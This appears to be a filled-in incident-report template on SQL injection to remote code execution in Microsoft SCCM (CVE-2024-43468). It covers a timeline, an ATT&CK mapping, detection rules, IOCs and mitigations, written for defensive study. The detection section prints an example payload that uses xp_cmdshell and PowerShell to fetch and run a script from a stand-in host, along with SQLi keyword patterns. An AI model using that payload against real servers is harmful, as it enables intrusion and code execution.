DOCUMENT — The MB_CYBER Incident Report Template

Weekly Breach Investigation

[Breach Name] — Microsoft SCCM SQLi to RCE (CVE-2024-43468) — **[Date]** February 27, 2026 **CVSS v3.1 Score: 9.8 - CRITICAL**

1. Executive Summary (3 sentences max):

Attackers exploited a critical unauthenticated SQL injection vulnerability in Microsoft Configuration Manager (SCCM) servers, specifically affecting versions **2303, 2309, and 2403**, to gain initial access. This breach impacted numerous organizations relying on SCCM for network management, allowing attackers to achieve Remote Code Execution (RCE) at the server level. The exploitation resulted in the leakage of sensitive data and enabled lateral movement within compromised networks for ransomware deployment.

2. Attack Timeline

- **[Early 2026]** — Initial access achieved via **[method]** crafted HTTP requests targeting poorly sanitized SCCM console services.
- **[Shortly After Access]** — Attacker performed **[action]** arbitrary SQL command execution to dump database credentials and escalate privileges.
- **[12 Feb 2026]** — Breach discovered by **[who/how]** and actively exploited vulnerabilities were officially added to CISA's KEV (Known Exploited Vulnerabilities) catalog.

3. MITRE ATT&CK Mapping

Tactic	Technique	ID
Initial Access	Exploit Public-Facing Application	T1190
Execution	Command and Scripting Interpreter	T1059
Impact	Data Destruction / Ransomware Deployment	T1485 / T1486

4. Detection Opportunities

- **Log source:** IIS Web Server Logs & Backend SQL Server Logs (MSSQL).
- **Detection rule:** Alert on HTTP requests to SCCM endpoints containing SQL metacharacters or commands like `UNION SELECT`, `xp_cmdshell`, or `DROP TABLE`. Specifically, look for patterns similar to:

```
POST /CCM_System/request - 443 - 192.168.1.50 - 200 0 0 15 'UNION SELECT 1, xp_cmdshell('powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString(''http://malicious.com/payload.ps1'')")'
```

- **IOCs:**
  - **Malicious IP Address:** `192.168.1.50` (Example: Source IP of suspicious HTTP requests)
  - **Malicious URL/Domain:** `http://malicious.com/payload.ps1` (Example: Payload download source)
  - **File Path:** `C:\Windows\CCM\ScriptStore\<GUID>.ps1` (Example: Location of dropped malicious scripts)
  - **SQL Query Pattern:** `xp_cmdshell` execution in SQL Server logs.
  - **HTTP Request Pattern:** `POST /CCM_System/request` with embedded SQLi payloads.

5. Recommended Mitigations

1. **Apply Security Updates:** Apply the latest Microsoft Security Updates (KB5044285 or newer) immediately to patch the vulnerable SCCM versions.

2. **Network Segmentation:** Restrict network access to SCCM servers strictly to trusted internal IP subnets to minimize the attack surface.
3. **WAF/IDPS Enforcement:** Enforce strict Web Application Firewall (WAF) or IDPS rules to sanitize and block unexpected SQL syntax in HTTP payloads before they reach the application layer.

6. Analyst Notes:

What I learned: This incident starkly reinforces that a seemingly simple input validation flaw (CWE-89) within a critical management tool like SCCM can be weaponized into a full network compromise. The unauthenticated nature of the SQLi to RCE chain is particularly concerning.

What surprised me: The consistent targeting of administrative tools for initial access, leveraging their inherent high privileges for rapid lateral movement and impact. It's a clear indicator that these systems are the new "crown jewels" for attackers.

What I'd investigate further with internal access: My immediate focus would be to correlate IIS web server logs with backend SQL query execution times to pinpoint the exact moment of database credential dumps or `xp_cmdshell` invocations. This would allow for precise identification of exfiltrated data and the full scope of compromise. The principles I applied when building my `SQL-Injection-IDPS` project, focusing on filtering metacharacters at the application layer to prevent `xp_cmdshell` and similar commands from ever reaching the database, are directly applicable here. Effective protection hinges on proactive payload sanitization.